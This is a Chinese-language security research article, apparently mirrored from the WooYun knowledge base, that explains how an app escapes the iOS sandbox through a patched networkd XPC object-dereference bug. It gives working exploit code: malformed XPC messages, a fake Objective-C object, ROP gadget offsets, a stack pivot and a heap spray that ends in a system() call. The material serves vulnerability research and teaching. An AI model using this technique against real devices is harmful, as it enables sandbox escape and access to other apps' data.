iOS冰與火之歌 – 利用XPC過App沙盒

wyzsk發表於2020-08-19
作者: 蒸米 · 2016/03/30 10:03

0x00 序


冰指的是使用者態,火指的是核心態。如何突破像冰箱一樣的使用者態沙盒最終到達並控制如火焰一般燃燒的核心就是《iOS冰與火之歌》這一系列文章將要講述的內容。這次給大家帶來的是利用XPC突破app沙盒,並控制其他程式的pc(program counter)執行system指令。

《iOS冰與火之歌》系列的目錄如下:

  1. Objective-C Pwn and iOS arm64 ROP
  2. 在非越獄的iOS上進行App Hook(番外篇)
  3. App Hook答疑以及iOS 9砸殼(番外篇)
  4. 利用XPC過App沙盒
  5. █████████████

另外文中涉及程式碼可在我的github下載:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x01 什麼是XPC


在iOS上有很多IPC(內部程式通訊)的方法,最簡單最常見的IPC就是URL Schemes,也就是app之間互相調起並且傳送簡單字元的一種機制。比如我用[[UIApplication sharedApplication] openURL:url]這個api再配合"alipay://", “wechat://”等url,就可以調起支付寶或者微信。

今天要講的XPC比URLScheme要稍微複雜一點。XPC也是iOS IPC的一種,透過XPC,app可以與一些系統服務進行通訊,並且這些系統服務一般都是在沙盒外的,如果我們可以透過IPC控制這些服務的話,也就成功的做到沙盒逃逸了。App在沙盒內可以透過XPC訪問的服務大概有三四十個,數量還是非常多的。

想要與這些XPC服務通訊我們需要建立一個XPC client,傳輸的內容要與XPC service接收的內容對應上,比如系統服務可能會開這樣一個XPC service:

#!objc
xpc_connection_t listener = xpc_connection_create_mach_service("com.apple.xpc.example",
                                                               NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
    xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {
        // Connection dispatch
        xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
            // Message dispatch
            xpc_type_t type = xpc_get_type(event);
            if (type == XPC_TYPE_DICTIONARY){
                //Message handler
            }
        });
        xpc_connection_resume(peer);
    });
    xpc_connection_resume(listener);

如果我們可以在沙盒內進行訪問的話,我們可以透過建立XPC的客戶端進行連線:

#!objc
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.xpc.example",
                                                               NULL, 0);
    xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
    });
    xpc_connection_resume(client);
    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_uint64 (message, "value", 0);
    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message);

執行上述程式後,在server端那邊就可以收到client端的訊息了。

我們知道,xpc傳輸的其實就是一段二進位制資料。比如我們傳輸的xpc_dictionary是這樣的:

iOS冰與火之歌 – 利用XPC過App沙盒

實際傳輸的資料確是這樣的(透過lldb,然後break set --name _xpc_serializer_get_dispatch_mach_msg就可以看到):

p2

可以看到這些傳輸的資料都經過序列化轉換成二進位制data,然後等data傳遞到系統service的服務端以後,再透過反序列化函式還原回原始的資料。

我們知道正常安裝後的app是mobile許可權,但是被sandbox限制在了一個狹小的空間裡。如果系統服務在接收XPC訊息的時候出現了問題,比如Object Dereference漏洞等,就可能讓client端控制server端的pc暫存器,從而利用rop執行任意指令。雖然大多數系統服務也是mobile許可權,但是大多數系統服務並沒有被sandbox,因此就可以擁有讀取或修改大多數檔案的許可權或者是執行一些能夠訪問kernel的api從而觸發panic。

0x02 Com.apple.networkd Object Dereference漏洞分析


Com.apple.networkd 是一個app沙盒內可達的xpc系統服務。這個服務對應的binary是/usr/libexec/networkd。我們可以透過ps看到這個服務的許可權是_networkd:

p3

雖然沒有root許可權,但是也幾乎可以做到沙盒外任意檔案讀寫了。在iOS 8.1.3及之前版本,這個XPC系統服務存在Object Dereference漏洞,這個漏洞是由Google Project Zero的IanBeer發現的,但他給的poc只是Mac OS X上的,並且hardcode了很多地址。而本篇文章將以iphone 4s, arm32, 7.1.1為測試機,一步一步講解如何找到這些hardcode的地址和gadgets,並利用這個漏洞做到app的沙盒逃逸。

問題出在com.apple.networkd這個服務的char *__fastcall sub_A878(int a1)這個函式中,對傳入的”effective_audit_token”這個值沒有做型別校驗,就直接當成xpc_data這種資料型別進行解析了:

5

然而如果我們傳過去的值並不是一個xpc_data,networkd也會當這個值是一個xpc_data,並傳給_xpc_data_get_bytes_ptr()來進行解析:

iOS冰與火之歌 – 利用XPC過App沙盒

解析完成後,無論這個物件是否符合service程式的預期,程式都會呼叫_dispatch_objc_release()這個函式來release這個物件。因此,我們就想到了是否可以偽造一個objective-C的物件,同時將這個物件的release()函式給加入到cache裡,這樣的話,在程式release這個物件的時候,就可以控制pc指標指向我們想要執行的ROP指令了。

是的,這個想法是可行的。首先我們要做的是根據資料傳輸的協議(透過反編譯networkd得到)構造相應的xpc資料:

#!objc
xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_uint64(dict, "type", 6);
xpc_dictionary_set_uint64(dict, "connection_id", 1);

xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t conn_list = xpc_array_create(NULL, 0);

xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(arr_dict, "hostname", "example.com");

xpc_array_append_value(conn_list, arr_dict);
xpc_dictionary_set_value(params, "connection_entry_list", conn_list);

uint32_t uuid[] = {0x0, 0x1fec000};
xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);

xpc_dictionary_set_uint64(params, "start", 0);
xpc_dictionary_set_uint64(params, "duration", 0);

xpc_dictionary_set_value(dict, "parameters", params);

xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(state, "power_slot", 0);
xpc_dictionary_set_value(dict, "state", state);

隨後我們可以使用NSLog(@"%@",dict);將我們構造好以後的xpc資料列印出來:

p6

除了effective_audit_token以外的其他資料都是正常的。為了攻擊這個系統服務,我們把effective_audit_token的值用xpc_dictionary_set_uuid設定為{0x0, 0x1fec000};。0x1fec000這個地址儲存的將會是我們偽造的Objective-C物件。構造完xpc資料後,我們就可以將資料傳送到networkd服務端觸發漏洞了。但如何構造一個偽造的ObjectC物件,以及如何將偽造的物件儲存到這個地址呢?請繼續看下一章。

0x03 構造fake Objective-C物件以及Stack Pivot


首先我們需要透過偽造一個fake Objective-C物件和構造一個假的cache來控制pc指標。這個技術我們已經在《iOS冰與火之歌 – Objective-C Pwn and iOS arm64 ROP》中介紹了。簡單說一下思路:

第一步,我們需要找到selector在記憶體中的地址,這個問題可以使用NSSelectorFromString()這個系統自帶的API來解決,比如我們需要用到”release”這個selector的地址,就可以使用NSSelectorFromString(@"release")來獲取。

第二步,我們要構建一個假的receiver,假的receiver裡有一個指向假的objc_class的指標,假的objc_class裡又儲存了假的cache_buckets的指標和mask。假的cache_buckets的指標最終指向我們將要偽造的selector和selector函式的地址。這個偽造的函式地址就是我們要執行的ROP鏈的起始地址。

最終程式碼如下:

#!objc
hs->fake_objc_class_ptr = &hs->fake_objc_class;
hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
hs->fake_objc_class.cache_bucket_mask = 0;
hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
hs->fake_cache_bucket.cached_function = start address of ROP chain

既然透過fake Objective-C物件,我們控制了xpc service的pc,我們就可以在sandbox外做些事情了。但因為DEP的關係,如果我們沒有給kernel打patch,我們並不能執行任意的shellcode。因此我們需要用ROP來達到我們的目的。雖然program image,library,堆和棧等都是隨機,但好訊息是dyld_shared_cache這個共享快取的地址開機後是固定的,並且每個程式的dyld_shared_cache都是相同的。這個dyld_shared_cache有好幾百M大,基本上可以滿足我們對gadgets的需求。因此我們只要在自己的程式獲取dyld_shared_cache的基址就能夠計算出目標程式gadgets的位置。

dyld_shared_cache檔案一般儲存在/System/Library/Caches/com.apple.dyld/這個目錄下。我們下載下來以後,可以使用jtool將裡面的dylib提取出來。比如我們想要提取CoreFoundation這個framework,就可以使用:

jtool -extract CoreFoundation ./dyld_shared_cache_armv7

隨後就可以用ROPgadget這個工具來搜尋gadget了。如果是arm32位的話,記得加上thumb模式,不然預設是按照arm模式搜尋的,gadget會少很多:

ROPgadget --binary ./dyld_shared_cache_armv7.CoreFoundation --rawArch=arm --rawMode=thumb

接下來我們需要找到一個用來做stack pivot的gadget,因為我們剛開始只控制了有限的幾個暫存器,並且棧指標指向的地址也不是我們可以控制的,如果我們想控制更多的暫存器並且持續控制pc的話,就需要使用stack pivot gadget將棧指標指向一段我們可以控制的記憶體地址,然後利用pop指令來控制更多的暫存器以及PC。另一點要注意的是,如果我們想使用thumb指令,就需要給跳轉地址1,因為arm CPU是透過最低位來判斷是thumb指令還是arm指令的。我們在iphone4s 7.1.2上找到的stack pivot gadgets如下:

#!objc
/*
__text:2D3B7F78    MOV      SP, R4
__text:2D3B7F7A    POP.W    {R8,R10}
__text:2D3B7F7E    POP      {R4-R7,PC}
*/

hs->stack_pivot= CoreFoundation_base + 0x4f78 + 1;
NSLog(@"hs->stack_pivot  = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78));

因為進行stack pivot需要控制r4暫存器,但最開始我們只能控制r0,因此我們先找一個gadget把r0的值賦給r4,然後再呼叫stack pivot gadget:

#!objc
/*
    0x2dffc0ee: 0x4604    mov    r4, r0
    0x2dffc0f0: 0x6da1    ldr    r1, [r4, #0x58]
    0x2dffc0f2: 0xb129    cbz    r1, 0x2dffc100    ; <+28>
    0x2dffc0f4: 0x6ce0    ldr    r0, [r4, #0x4c]
    0x2dffc0f6: 0x4788    blx    r1
*/
hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x0009e0ee + 1; //fake_struct.stack_pivot_ptr
NSLog(@"hs->fake_cache_bucket.cached_function  = 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee));

經過stack pivot後,我們控制了棧和其他的暫存器,隨後我們就可以呼叫想要執行的函式了,比如說用system指令執行”touch /tmp/iceandfire”。當然我們也需要找到相應的gadget,並且在棧上對應的正確地址上放入相應暫存器的值:

#!objc
// 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6

strcpy(hs->command, "touch /tmp/ iceandfire");
hs->r4=(uint32_t)&hs->command;
hs->r6=(void *)dlsym(RTLD_DEFAULT, "system");
hs->pc = CoreFoundation_base+0xd3842+1;
NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842));

最終我們偽造的Objective-C的結構體構造如下:

#!objc
struct heap_spray {
    void* fake_objc_class_ptr;
    uint32_t r10;
    uint32_t r4;
    uint32_t r5;
    uint32_t r6;
    uint32_t r7;
    uint32_t pc;
    uint8_t pad1[0x3c];
    uint32_t stack_pivot;
    struct fake_objc_class_t {
        char pad[0x8];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    char command[1024];
};

0x04 堆噴(Heap Spray)


雖然我們可以利用一個偽造的Objective-C物件來控制networkd。但是我們需要將這個物件儲存在networkd的記憶體空間中才行,並且因為ASLR(地址隨機化)的原因,我們就算能把偽造的物件傳輸過去,也很難計算出這個物件在記憶體中的具體位置。那麼應該怎麼做呢?方法就是堆噴(Heap Spray)。雖然ASLR意味著每次啟動服務,program image,library,堆和棧等都是隨機。但實際上這個隨機並不是完全的隨機,只是在某個地址範圍內的隨機罷了。因此我們可以利用堆噴在記憶體中噴出一部分空間(儘可能的大,為了能覆蓋到隨機地址的範圍),然後在裡面填充n個fake Object就可以了。

p7

我進行漏洞測試的環境是,iPhone4s (arm 32位) 7.1.2,我們選擇了0x1fec000這個地址,因為經過多次堆噴測試,這個地址可以達到將近100%的噴中率。堆噴的程式碼如下:

#!objc
void* heap_spray_target_addr = (void*)0x1fec000;

struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
memset(hs, 0x00, 0x1000);

size_t heap_spray_pages = 0x2000;
size_t heap_spray_bytes = heap_spray_pages * 0x1000;
char* heap_spray_copies = malloc(heap_spray_bytes);

for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
}

xpc_connection_t client = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
    xpc_type_t t = xpc_get_type(response);
    if (t == XPC_TYPE_ERROR){
        printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
    });


xpc_connection_resume(client);

xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
xpc_connection_send_message(client, dict);

隨後我們編譯執行我們的app,app會將fake ObjectiveC物件用堆噴的方式填充到networkd的記憶體中,隨後app會觸發object dereference漏洞來控制pc,隨後app會利用rop執行system("touch /tmp/iceandfire")指令。執行完app後,我們發現在/tmp/目錄下已經出現了iceandfire這個檔案了,說明我們成功突破了沙盒並執行了system指令:

p8

p9

0x05 總結


這篇文章我們介紹瞭如何利用XPC突破沙盒,進行堆噴,控制系統服務的PC,並且利用ROP進行stack pivot,然後執行system指令。突破沙盒後,雖然不能安裝盜版的app,但一個app就可以隨心所欲的增刪改查其他app的檔案和資料了,有種android上root的感覺。 雖然這個漏洞已經在8.1.3上修復了,但不代表以後不會出現類似的漏洞。比如我們發現的這個iOS 9.3 0day就可以輕鬆突破最新版的iOS沙盒獲取到其他app的檔案:

http://www.iqiyi.com/w_19rsxza559.html

<embed>

但由於漏洞還沒有被修復,所以我們暫時不會公佈漏洞細節,想要了解更多關於iOS 0day漏洞的資訊歡迎關注我的微博 @蒸米spark。

最後感謝龍磊和黑雪對這篇文章的指導和幫助。另外文中涉及程式碼可在我的github下載:

https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x06 參考資料


  1. Ianbeer, Auditing and Exploiting Apple IPC
  2. Pangu, Review and Exploit Neglected Attack Surface in iOS 8
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章